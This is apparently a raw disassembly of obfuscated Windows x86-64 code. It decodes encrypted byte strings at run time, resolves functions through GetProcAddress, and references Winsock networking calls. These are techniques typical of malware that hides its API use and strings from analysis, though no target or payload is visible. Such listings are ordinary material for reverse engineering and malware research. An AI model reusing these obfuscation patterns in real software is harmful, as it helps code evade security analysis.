and cl, r9b
add cl, cl
sub dl, cl
lea edi, [r9 + rdx]
sub dil, 0x6e
dec r10
inc r10
jmp 0x140060866
lea rcx, [rax + 6]
cmp rbx, rcx
jne 0x140060cf2
movzx r11d, r10b
lea r8d, [r11 - 0x52]
movzx ecx, r8b
and cl, r9b
mov edx, 0x1f
sub dl, cl
lea edi, [rdx + rdx]
add dil, r8b
add dil, r9b
jmp 0x140061234
lea rcx, [rax + 1]
cmp rbx, rcx
jne 0x140060fa9
movzx r11d, r10b
lea edx, [r11 + 0x3d]
movzx ecx, dl
and cl, r9b
add cl, cl
sub dl, cl
lea edi, [r9 + rdx]
add dil, 0x55
jmp 0x140061234
lea rcx, [rax + 4]
cmp rbx, rcx
jne 0x140060fd1
movzx r11d, r10b
lea edx, [r11 + 0x4f]
movzx ecx, dl
and cl, r9b
add cl, cl
sub dl, cl
lea edi, [r9 + rdx]
sub dil, 0x29
jmp 0x1400612bd
lea rcx, [rax + 3]
cmp rbx, rcx
jne 0x140060ff5
lea edx, [r10 + 0x5b]
movzx ecx, dl
and cl, r9b
add cl, cl
sub dl, cl
lea edi, [r9 + rdx]
sub dil, 0x7d
jmp 0x1400612df
lea rcx, [rax + 2]
cmp rbx, rcx
jne 0x140061019
lea edx, [r10 + 0x67]
movzx ecx, dl
and cl, r9b
add cl, cl
sub dl, cl
lea edi, [r9 + rdx]
add dil, 0x2f
jmp 0x14006117f
lea rcx, [rax + 5]
cmp rbx, rcx
jne 0x140060ca5
lea edx, [r10 + 0x6d]
movzx ecx, dl
and cl, r9b
add cl, cl
sub dl, cl
lea edi, [r9 + rdx]
add dil, 5
movzx ecx, byte [rbp + r10 + 0x20]
add rcx, rax
add r10, rcx
inc r10
jmp 0x140060866
lea rcx, [rax + 1]
cmp rbx, rcx
jne 0x140061088
lea r8d, [r10 - 4]
movzx ecx, r8b
and cl, r9b
mov edx, recvfrom
sub dl, cl
lea edi, [rdx + rdx]
add dil, r8b
add dil, r9b
movzx ecx, byte [rbp + r10 + 0x20]
add rcx, rax
add r10, rcx
inc r10
jmp 0x140060866
lea rcx, [rax + 5]
cmp rbx, rcx
jne 0x1400610b5
movzx r11d, r10b
lea r8d, [r11 + 0x1a]
movzx ecx, r8b
and cl, r9b
mov edx, 0x25
sub dl, cl
lea edi, [rdx + rdx]
add dil, r8b
add dil, r9b
jmp 0x1400612bd
lea rcx, [rax + 2]
cmp rbx, rcx
jne 0x1400610e4
lea r8d, [r10 + 0x20]
movzx ecx, r8b
and cl, r9b
mov edx, reloc.WS2_32.dll_recv
sub dl, cl
lea edi, [rdx + rdx]
add dil, r8b
add dil, r9b
dec r10
inc r10
jmp 0x140060866
lea rcx, [rax + 3]
cmp rbx, rcx
jne 0x140060c60
lea edx, [r10 + 0x26]
movzx ecx, dl
and cl, r9b
add cl, cl
sub dl, cl
lea edi, [r9 + rdx]
sub dil, 0xa
inc rax
dec r10
inc r10
jmp 0x140060866
movzx r11d, r10b
lea r8d, [r11 + 0x38]
movzx ecx, r8b
and cl, r9b
movzx edx, byte [rbp + r10 + 0x20]
sub dl, cl
add dl, 0x3c
lea edi, [rdx + rdx]
add dil, r8b
jmp 0x1400612bd
movzx r11d, r10b
lea r8d, [r11 + 0x3e]
movzx ecx, r8b
and cl, r9b
mov edx, 0x27
sub dl, cl
lea edi, [rdx + rdx]
add dil, r8b
sub r11b, 0x3f
movzx ecx, r11b
and cl, r9b
add cl, cl
sub r11b, cl
sub r11b, 0x47
add r11b, r9b
movzx ecx, r11b
mov byte [rbp + r10 + 0x20], cl
inc rax
add rcx, rax
sub r10, rcx
lea r8d, [r10 + 0x44]
movzx ecx, r8b
and cl, r9b
mov edx, reloc.WS2_32.dll_select
sub dl, cl
add dl, dl
add dl, r8b
add dl, r9b
mov byte [rbp + r10 + 0x20], dl
inc rbx
mov rcx, 0xffffffffffffffff
sub rcx, rbx
add r10, rcx
movzx ecx, byte [rbp + r10 + 0x20]
add rcx, rax
add r10, rcx
inc r10
jmp 0x140060866
lea edx, [r10 - 0x1d]
movzx ecx, dl
and cl, r9b
add cl, cl
sub dl, cl
lea edi, [r9 + rdx]
sub dil, 0x35
jmp 0x1400612df
lea edx, [r10 - 0x2f]
movzx ecx, dl
and cl, r9b
add cl, cl
sub dl, cl
lea edi, [r9 + rdx]
add dil, 0x49
dec r10
inc r10
jmp 0x140060866
movzx r11d, r10b
lea edx, [r11 - 0x3b]
movzx ecx, dl
and cl, r9b
add cl, cl
sub dl, cl
lea edi, [r9 + rdx]
sub dil, 0x63
jmp 0x140061234
movzx r11d, r10b
lea edx, [r11 - 0x47]
movzx ecx, dl
and cl, r9b
add cl, cl
sub dl, cl
lea edi, [r9 + rdx]
sub dil, 0xf
sub r11b, 0x4b
movzx ecx, r9b
and cl, r11b
add cl, cl
sub r9b, cl
add r9b, 0xd
add r9b, r11b
mov byte [rbp + r10 + 0x20], r9b
inc rax
dec r10
inc r10
jmp 0x140060866
lea edx, [r10 - 0x4d]
movzx ecx, dl
and cl, r9b
add cl, cl
sub dl, cl
lea edi, [r9 + rdx]
add dil, 0x1b
inc rax
dec r10
inc r10
jmp 0x140060866
lea edx, [r10 - 0x53]
movzx ecx, dl
and cl, r9b
add cl, cl
sub dl, cl
lea edi, [r9 + rdx]
add dil, 0x45
dec r10
inc r10
jmp 0x140060866
movzx r11d, r10b
lea edx, [r11 - 0x59]
movzx ecx, dl
and cl, r9b
add cl, cl
sub dl, cl
lea edi, [r9 + rdx]
add dil, 0x6f
sub r11b, 0x45
movzx ecx, r11b
and cl, r9b
add cl, cl
sub r11b, cl
sub r11b, 0x1d
add r11b, r9b
add r11b, dil
mov byte [rbp + r10 + 0x20], r11b
add rbx, rax
movzx ecx, dil
mov rdx, 0xffffffffffffffff
sub rdx, rcx
add r10, rdx
inc r10
jmp 0x140060866
lea rdx, [r10 + r13]
movzx ecx, dl
and cl, r8b
add cl, cl
sub dl, cl
lea edi, [r8 + rdx]
add dil, 0x41
movzx ecx, byte [rbp + r10 + 0x20]
add rcx, rax
add r10, rcx
inc r10
jmp 0x140060866
add r10b, 0xf
movzx ecx, r10b
and cl, r9b
add cl, cl
sub r10b, cl
lea edi, [r9 + r10]
sub dil, 0x69
jmp 0x140060863
add r10b, 9
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
sub dil, 0x3f
jmp 0x140060853
lea rdx, [rbp + 0x1435824]
jmp 0x140061372
lea rdx, [rbp + 0x10598a7]
jmp 0x140061372
lea rdx, [rbp + 0x20]
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x30], rax
mov byte [rbp + 0x210], 0xf3
mov byte [rbp + 0x211], 0xee
mov byte [rbp + 0x212], 0x90
mov byte [rbp + 0x213], 0xc7
mov byte [rbp + 0x214], 0xed
mov byte [rbp + 0x215], __WSAFDIsSet
mov byte [rbp + 0x216], 0xe3
mov byte [rbp + 0x217], 0x99
mov byte [rbp + 0x218], 0xe5
mov byte [rbp + 0x219], 0xe9
mov byte [rbp + 0x21a], 0xf5
mov byte [rbp + 0x21b], 0xdc
mov byte [rbp + 0x21c], 0xa0
mov byte [rbp + 0x21d], 0xd5
mov byte [rbp + 0x21e], 0xa1
mov byte [rbp + 0x21f], 0xae
mov byte [rbp + 0x220], 0xf1
mov byte [rbp + 0x221], 0xa1
mov byte [rbp + 0x222], 0xa0
mov byte [rbp + 0x223], 0xad
mov byte [rbp + 0x224], 0xd5
mov byte [rbp + 0x225], 0xdf
mov byte [rbp + 0x226], 0xa3
mov byte [rbp + 0x227], 0xab
mov byte [rbp + 0x228], 0xd5
mov byte [rbp + 0x229], 0xa8
mov byte [rbp + 0x22a], 0x3c
xor eax, eax
mov qword [rbp + 0x22b], rax
mov dword [rbp + 0x233], eax
mov word [rbp + 0x237], ax
mov byte [rbp + 0x239], al
movabs rsi, 0xfd0ad803f751ff55
movabs r13, 0xf720880be5f5fdff
movzx edi, byte [rbp + 0x3e0]
call fcn.140004d90
mov rbx, qword [rax]
call fcn.140004da0
mov r8, qword [rax]
nop dword [rax]
nop dword [rax + rax]
xor r10d, r10d
cmp r10, 0x2a
jae 0x140062059
movzx r9d, byte [rbp + r10 + 0x210]
mov rdx, r9
nop dword [rax]
cmp rbx, r10
ja 0x140062050
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x1400614dc
lea rcx, [r10 + rsi]
mov rax, rdx
and rax, rcx
imul rdi, rax, 0xfffffffffffffffe
add rdi, rdx
add rdi, rcx
sub dil, 0x53
jmp 0x140061516
je 0x140061fe2
lea rax, [r8 + 2]
cmp rbx, rax
je 0x140061f7b
lea rax, [r8 + 4]
cmp rbx, rax
je 0x140061f48
lea rax, [r8 + 5]
cmp rbx, rax
je 0x140061f06
lea rax, [r8 + 8]
cmp rbx, rax
je 0x140061ebb
cmp r8, r10
ja 0x140062047
lea rax, [r8 + 0x7a]
cmp rbx, rax
jae 0x140061544
lea edx, [r10 - 7]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
add dil, 0x31
add dil, dl
jmp 0x140061590
lea rax, [r8 + 1]
cmp rbx, rax
je 0x140061e9e
lea rax, [r8 + 2]
cmp rbx, rax
je 0x140061e79
lea rax, [r8 + 3]
cmp rbx, rax
je 0x140061e59
lea rax, [r8 + 5]
cmp rbx, rax
je 0x140061e3d
lea rax, [r8 + 7]
cmp rbx, rax
je 0x140061ded
nop word [rax + rax]
lea rax, [r8 + rbx]
cmp rax, r10
jbe 0x140061b17
nop dword [rax]
lea rax, [r8 + 0xa]
cmp rbx, rax
je 0x140061af7
lea rax, [r8 + 0x28]
cmp rbx, rax
je 0x140061ad2
lea rax, [r8 + 0x64]
cmp rbx, rax
je 0x140061aad
lea rax, [r8 + 0x3e8]
cmp rbx, rax
je 0x140061a8d
lea rax, [r8 + 0x61]
cmp rbx, rax
je 0x140061a71
lea rax, [r8 + 0x5a]
cmp rbx, rax
je 0x140061a52
lea rax, [r8 + 2]
cmp rbx, rax
je 0x140061a32
lea rax, [r8 + 5]
cmp rbx, rax
je 0x140061a13
lea rax, [r8 + 9]
cmp rbx, rax
je 0x1400619e2
lea rax, [r8 + 0x20]
cmp rbx, rax
je 0x1400615a0
lea rbx, [r8 + 0x2a]
lea r8, [rbx + 0x42]
lea rax, [r8 + 3]
cmp rbx, rax
jb 0x14006202a
lea rax, [r8 + 6]
cmp rbx, rax
jb 0x14006200d
lea rax, [r8 + 0xa]
cmp rbx, rax
jb 0x140061789
lea rax, [r8 + 0x28]
cmp rbx, rax
jb 0x14006176a
lea rax, [r8 + 0x64]
cmp rbx, rax
jb 0x14006174b
lea rax, [r8 + 0x3e8]
cmp rbx, rax
jb 0x14006198f
lea rax, [r8 + 0x61]
cmp rbx, rax
jb 0x140061945
lea rax, [r8 + 0x5a]
cmp rbx, rax
jb 0x140061900
lea rax, [r8 + 2]
cmp rbx, rax
jb 0x1400618d9
lea rax, [r8 + 5]
cmp rbx, rax
jb 0x1400615a0
lea rbx, [r8 + 0x400]
lea r8, [rbx + 9]
lea rax, [r8 + 0x7a]
cmp rbx, rax
ja 0x1400618ab
lea rax, [r8 + 0x2a]
cmp rbx, rax
ja 0x14006188c
lea rax, [r8 + 3]
cmp rbx, rax
ja 0x14006186c
lea rax, [r8 + 6]
cmp rbx, rax
ja 0x140061850
lea rax, [r8 + 0xa]
cmp rbx, rax
ja 0x140061831
lea rax, [r8 + 0x28]
cmp rbx, rax
ja 0x140061811
lea rax, [r8 + 0x64]
cmp rbx, rax
ja 0x1400617ef
lea rax, [r8 + 0x3e8]
cmp rbx, rax
ja 0x1400617c7
lea rax, [r8 + 0x61]
cmp rbx, rax
ja 0x1400617a7
lea rax, [r8 + 0x5a]
cmp rbx, rax
ja 0x1400615a0
lea rbx, [r8 + 0x40]
lea r8, [rbx + 2]
jmp 0x1400615a0
lea edx, [r10 + 0x27]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x11
add dil, dl
jmp 0x140061590
lea edx, [r10 + 0x7d]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x6b
add dil, dl
jmp 0x140061516
lea edx, [r10 - 0x2d]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
add dl, 0x3b
add dil, dl
jmp 0x1400614a6
lea edx, [r10 - 0x38]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x78
movzx r11d, r10b
jmp 0x140061ed6
lea edx, [r10 + 0x1e]
movzx eax, r9b
and al, dl
mov ecx, reloc.WS2_32.dll_socket
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
inc r8
dec r10
inc r10
jmp 0x140061493
lea ecx, [r10 + 0x74]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x2c
dec r10
inc r10
jmp 0x140061493
lea edx, [r10 - 0x36]
movzx eax, r9b
and al, dl
mov ecx, 0x3d
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
movzx r11d, r10b
jmp 0x140061f21
lea edx, [r10 + 0x20]
movzx eax, r9b
and al, dl
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
jmp 0x140061f5f
lea ecx, [r10 + 0x76]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x3a
jmp 0x140061f62
lea edx, [r10 - 0x34]
movzx eax, r9b
and al, dl
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
movzx r11d, r10b
jmp 0x140061e08
lea edx, [r10 + 0x22]
movzx eax, r9b
and al, dl
mov ecx, 9
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
jmp 0x140061f9d
lea ecx, [r10 + 0x78]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x48
movzx eax, byte [rbp + r10 + 0x210]
add rax, r8
add r10, rax
inc r10
jmp 0x140061493
lea ecx, [r10 - 0x31]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
add dil, 0x57
mov byte [rbp + r10 + 0x210], dil
inc r10
jmp 0x140061493
lea edx, [r10 + 0x25]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 3
add dil, dl
cmp r8, 0x7a
jb 0x1400618f0
movzx r11d, r10b
lea edx, [r11 - 0x22]
movzx eax, r9b
and al, dl
add al, al
movzx ecx, r9b
sub cl, al
add cl, dl
lea edi, [rcx*2 - 0x24]
jmp 0x140061ed9
lea edx, [r10 + 0x7b]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x5d
add dil, dl
cmp rbx, 0x28
jae 0x140061da4
lea rax, [r8 + 1]
cmp rbx, rax
jbe 0x140061ccd
lea edx, [r10 + 0x3a]
movzx eax, r9b
and al, dl
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
jmp 0x140061917
lea edx, [r10 - 0x2f]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
add dil, 0x49
add dil, dl
lea rax, [r8 + rbx]
cmp rax, 0x3e8
je 0x140061dc8
lea rax, [r8 + 8]
cmp rbx, rax
jbe 0x140061bed
lea edx, [r10 + 0x41]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
add dil, 0x39
jmp 0x14006195c
lea edx, [r10 - 0x2a]
movzx eax, r9b
and al, dl
mov ecx, reloc.WS2_32.dll_send
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
movzx eax, byte [rbp + r10 + 0x210]
add rax, r8
add r10, rax
inc r10
jmp 0x140061493
lea edx, [r10 + 0x2c]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x34
add dil, dl
jmp 0x140061f9d
movzx r11d, r10b
lea edx, [r11 - 0x7e]
movzx eax, r9b
and al, dl
mov ecx, reloc.WS2_32.dll_gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
jmp 0x140061e08
lea edx, [r10 - 0x28]
movzx eax, r9b
and al, dl
mov ecx, ntohs
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
jmp 0x140061f62
lea ecx, [r10 + 0x2e]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x42
jmp 0x140061f5f
movzx r11d, r10b
lea edx, [r11 - 0x7c]
movzx eax, r9b
and al, dl
mov ecx, 0x32
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
jmp 0x140061f21
lea edx, [r10 - 0x26]
movzx eax, r9b
and al, dl
mov ecx, 5
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
dec r10
inc r10
jmp 0x140061493
lea ecx, [r10 + 0x30]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x50
inc r8
dec r10
inc r10
jmp 0x140061493
movzx r11d, r10b
lea edx, [r11 - 0x7a]
movzx eax, r9b
and al, dl
mov ecx, 0x2b
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
jmp 0x140061ed6
lea rcx, [r8 + 2]
cmp rbx, rcx
jae 0x140061b3c
lea edx, [r10 + 0x55]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x53
jmp 0x1400619a6
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x140061b76
lea edx, [r10 - 0xe]
movzx eax, r9b
and al, dl
mov ecx, 0x31
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
movzx eax, byte [rbp + r10 + 0x210]
add rax, r8
add r10, rax
inc r10
jmp 0x140061493
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x140061b9f
movzx r11d, r10b
lea edx, [r11 + 0x46]
movzx eax, r9b
and al, dl
mov ecx, ntohs
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
jmp 0x140061e08
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x140061bc4
lea ecx, [r10 - 0x66]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x36
jmp 0x140061f5f
cmp rbx, rcx
jne 0x1400619a9
movzx r11d, r10b
lea edx, [r11 + 0x42]
movzx eax, r9b
and al, dl
mov ecx, 0x19
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
jmp 0x140061ed6
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x140061c16
movzx r11d, r10b
lea edx, [r11 - 0x15]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x6d
jmp 0x140061ed6
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x140061c41
lea ecx, [r10 + 0x3f]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
add dil, 0x47
dec r10
inc r10
jmp 0x140061493
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x140061c6a
movzx r11d, r10b
lea edx, [r11 - 0x19]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x51
jmp 0x140061e08
lea rax, [r8 + 7]
cmp rbx, rax
jne 0x140061c92
lea edx, [r10 - 0x6f]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
add dil, 9
add dil, dl
jmp 0x140061f9d
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14006195f
lea ecx, [r10 + 0x3b]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
add dil, 0x63
movzx eax, byte [rbp + r10 + 0x210]
add rax, r8
add r10, rax
inc r10
jmp 0x140061493
jne 0x140061cfd
lea ecx, [r10 - 0x1c]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x3c
movzx eax, byte [rbp + r10 + 0x210]
add rax, r8
add r10, rax
inc r10
jmp 0x140061493
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x140061d26
movzx r11d, r10b
lea edx, [r11 + 0x38]
movzx eax, r9b
and al, dl
mov ecx, 0x3c
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
jmp 0x140061e08
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x140061d4e
lea edx, [r10 - 0x74]
movzx eax, r9b
and al, dl
mov ecx, socket
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
jmp 0x140061f5f
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x140061d77
movzx r11d, r10b
lea edx, [r11 + 0x36]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x7a
jmp 0x140061f21
lea rax, [r8 + 8]
cmp rbx, rax
jne 0x14006191a
movzx r11d, r10b
lea edx, [r11 + 0x34]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x6c
jmp 0x140061ed6
movzx r11d, r10b
lea edx, [r11 - 0x78]
movzx eax, r9b
and al, dl
movzx ecx, byte [rbp + r10 + 0x210]
sub cl, al
add cl, 0x24
lea edi, [rcx + rcx]
jmp 0x140061f21
movzx r11d, r10b
lea edx, [r11 + 0x32]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, byte [rbp + r10 + 0x210]
sub dil, 0x5e
jmp 0x140061e08
movzx r11d, r10b
lea edx, [r11 - 0x61]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x59
add dil, dl
sub r11b, 0x79
movzx eax, r9b
and al, r11b
add al, al
movzx ecx, r9b
sub cl, al
add cl, 0x4f
add cl, r11b
movzx eax, cl
mov byte [rbp + r10 + 0x210], al
inc r8
add rax, r8
sub r10, rax
jmp 0x140061f9d
lea ecx, [r10 - 0xb]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
add dil, 0x4d
jmp 0x140061f62
movzx r11d, r10b
lea edx, [r11 - 0x5f]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x67
jmp 0x140061f21
lea ecx, [r10 + 0x4d]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x1b
inc r8
dec r10
inc r10
jmp 0x140061493
movzx r11d, r10b
lea edx, [r11 - 0x5d]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x75
jmp 0x140061ed6
movzx r11d, r10b
lea edx, [r11 + 0x4f]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x29
add dil, dl
add r11b, 0x33
movzx eax, r9b
and al, r11b
add al, al
sub r9b, al
sub r9b, 0x65
add r9b, r11b
mov byte [rbp + r10 + 0x210], r9b
inc r8
dec r10
inc r10
jmp 0x140061493
movzx r11d, r10b
lea edx, [r11 + 0x51]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x37
add dil, dl
sub r11b, 0x23
movzx eax, r9b
and al, r11b
add al, al
sub r9b, al
sub r9b, 0xb
add r9b, r11b
add r9b, dil
mov byte [rbp + r10 + 0x210], r9b
jmp 0x140061f5f
lea ecx, [r10 - 0x59]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
add dil, 0x6f
add rbx, r8
movzx eax, dil
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r10, rcx
inc r10
jmp 0x140061493
movabs rcx, 0xf1363813d499fca9
add rcx, r10
movzx r9d, dl
movzx eax, cl
and al, dl
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x61
lea ecx, [r10 - 0x24]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
sub r9b, 4
add r9b, cl
mov byte [rbp + r10 + 0x210], r9b
inc rbx
mov rax, 0xffffffffffffffff
sub rax, rbx
add r10, rax
movzx eax, byte [rbp + r10 + 0x210]
add rax, r8
add r10, rax
inc r10
jmp 0x140061493
lea rcx, [r10 + r13]
movzx eax, cl
and al, dl
add al, al
sub cl, al
lea edi, [rdx + rcx]
add dil, 7
movzx eax, byte [rbp + r10 + 0x210]
add rax, r8
add r10, rax
inc r10
jmp 0x140061493
add r10b, 0x29
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x1f
jmp 0x140061490
add r10b, 0x7f
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x79
jmp 0x140061474
lea rdx, [rbp + 0x1578f2c]
jmp 0x140062060
lea rdx, [rbp + 0x698e81]
jmp 0x140062060
lea rdx, [rbp + 0x210]
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x38], rax
mov byte [rbp + 0x240], 0x9a
mov byte [rbp + 0x241], 0xa8
mov byte [rbp + 0x242], 0xb7
mov byte [rbp + 0x243], 0x9c
mov byte [rbp + 0x244], 0xaa
mov byte [rbp + 0x245], __WSAFDIsSet
mov byte [rbp + 0x246], 0x83
mov byte [rbp + 0x247], 0x89
mov byte [rbp + 0x248], 0x82
mov byte [rbp + 0x249], 0xa7
mov byte [rbp + 0x24a], 0x8a
mov byte [rbp + 0x24b], 0xb8
mov byte [rbp + 0x24c], 0x8d
mov byte [rbp + 0x24d], 0x8a
mov byte [rbp + 0x24e], 0xaf
mov byte [rbp + 0x24f], 0x81
mov byte [rbp + 0x250], 0x9a
mov byte [rbp + 0x251], 0x80
mov byte [rbp + 0x252], 0xad
mov byte [rbp + 0x253], 0x87
mov byte [rbp + 0x254], 0x89
mov byte [rbp + 0x255], __WSAFDIsSet
mov byte [rbp + 0x256], 0x9a
mov byte [rbp + 0x257], 0x83
mov byte [rbp + 0x258], 0xcd
mov byte [rbp + 0x259], 0x9b
mov byte [rbp + 0x25a], reloc.WS2_32.dll___WSAFDIsSet
mov byte [rbp + 0x25b], 0xa8
mov byte [rbp + 0x25c], 0xa
xor eax, eax
mov qword [rbp + 0x25d], rax
movabs rsi, 0xc684600b72a6b95b
movabs r13, 0xfaa7606707dc8433
movzx edi, byte [rbp + 0x3e0]
nop dword [rax]
call fcn.140004d90
mov rbx, qword [rax]
call fcn.140004da0
mov r8, qword [rax]
xor r11d, r11d
cmp r11, 0x25
jae 0x140062ce0
movzx r9d, byte [rbp + r11 + 0x240]
mov rdx, r9
nop dword [rax]
cmp rbx, r11
ja 0x140062cd7
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x1400621bc
lea rcx, [r11 + rsi]
mov rax, rdx
and rax, rcx
imul rdi, rax, 0xfffffffffffffffe
add rdi, rdx
add rdi, rcx
sub dil, 0x7d
jmp 0x140062203
je 0x140062c60
lea rax, [r8 + 3]
cmp rbx, rax
je 0x140062c33
lea rax, [r8 + 5]
cmp rbx, rax
je 0x140062c17
lea rax, [r8 + 4]
cmp rbx, rax
je 0x140062bd2
lea rax, [r8 + 2]
cmp rbx, rax
je 0x140062bb0
lea rax, [r8 + 9]
cmp rbx, rax
je 0x140062b65
cmp r8, r11
ja 0x140062cce
lea rax, [r8 + 0x61]
cmp rbx, rax
jae 0x14006222d
lea ecx, [r11 + 0x77]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x41
jmp 0x140062270
lea rax, [r8 + 1]
cmp rbx, rax
je 0x140062b48
lea rax, [r8 + 2]
cmp rbx, rax
je 0x140062b26
lea rax, [r8 + 3]
cmp rbx, rax
je 0x140062b06
lea rax, [r8 + 4]
cmp rbx, rax
je 0x140062aea
lea rax, [r8 + 6]
cmp rbx, rax
je 0x140062abc
nop
lea rax, [r8 + rbx]
cmp rax, r11
jbe 0x1400627e4
nop dword [rax]
lea rax, [r8 + 0x42]
cmp rbx, rax
je 0x1400627c1
lea rax, [r8 + 3]
cmp rbx, rax
je 0x140062799
lea rax, [r8 + 9]
cmp rbx, rax
je 0x140062774
lea rax, [r8 + 0x7a]
cmp rbx, rax
je 0x140062751
lea rax, [r8 + 2]
cmp rbx, rax
je 0x14006272f
lea rax, [r8 + 0x80]
cmp rbx, rax
je 0x140062710
lea rax, [r8 + 0x61]
cmp rbx, rax
je 0x1400626ed
lea rax, [r8 + 0x10]
cmp rbx, rax
je 0x1400626ce
lea rax, [r8 + 0x64]
cmp rbx, rax
je 0x14006269d
lea rax, [r8 + 4]
cmp rbx, rax
je 0x140062280
lea rbx, [r8 + 0x20]
lea r8, [rbx + 0x3e8]
lea rax, [r8 + 0x80]
cmp rbx, rax
jb 0x140062cb1
lea rax, [r8 + 5]
cmp rbx, rax
jb 0x140062c94
lea rax, [r8 + 0x10]
cmp rbx, rax
jb 0x140062468
lea rax, [r8 + 0x5a]
cmp rbx, rax
jb 0x14006244d
lea rcx, [r8 + 0x40]
cmp rbx, rcx
jb 0x140062432
lea rax, [r8 + 0x3e8]
cmp rbx, rax
jb 0x140062651
lea rax, [r8 + 8]
cmp rbx, rax
jb 0x14006260c
lea rax, [r8 + 0x28]
cmp rbx, rax
jb 0x1400625cc
lea rax, [r8 + 1]
cmp rbx, rax
jb 0x1400625a6
lea rax, [r8 + 6]
cmp rbx, rax
jb 0x140062280
mov rbx, rcx
lea r8, [rcx + 0x1000]
lea rax, [r8 + 2]
cmp rcx, rax
ja 0x140062579
lea rax, [r8 + 8]
cmp rcx, rax
ja 0x14006255e
lea rax, [r8 + 0x61]
cmp rcx, rax
ja 0x14006253f
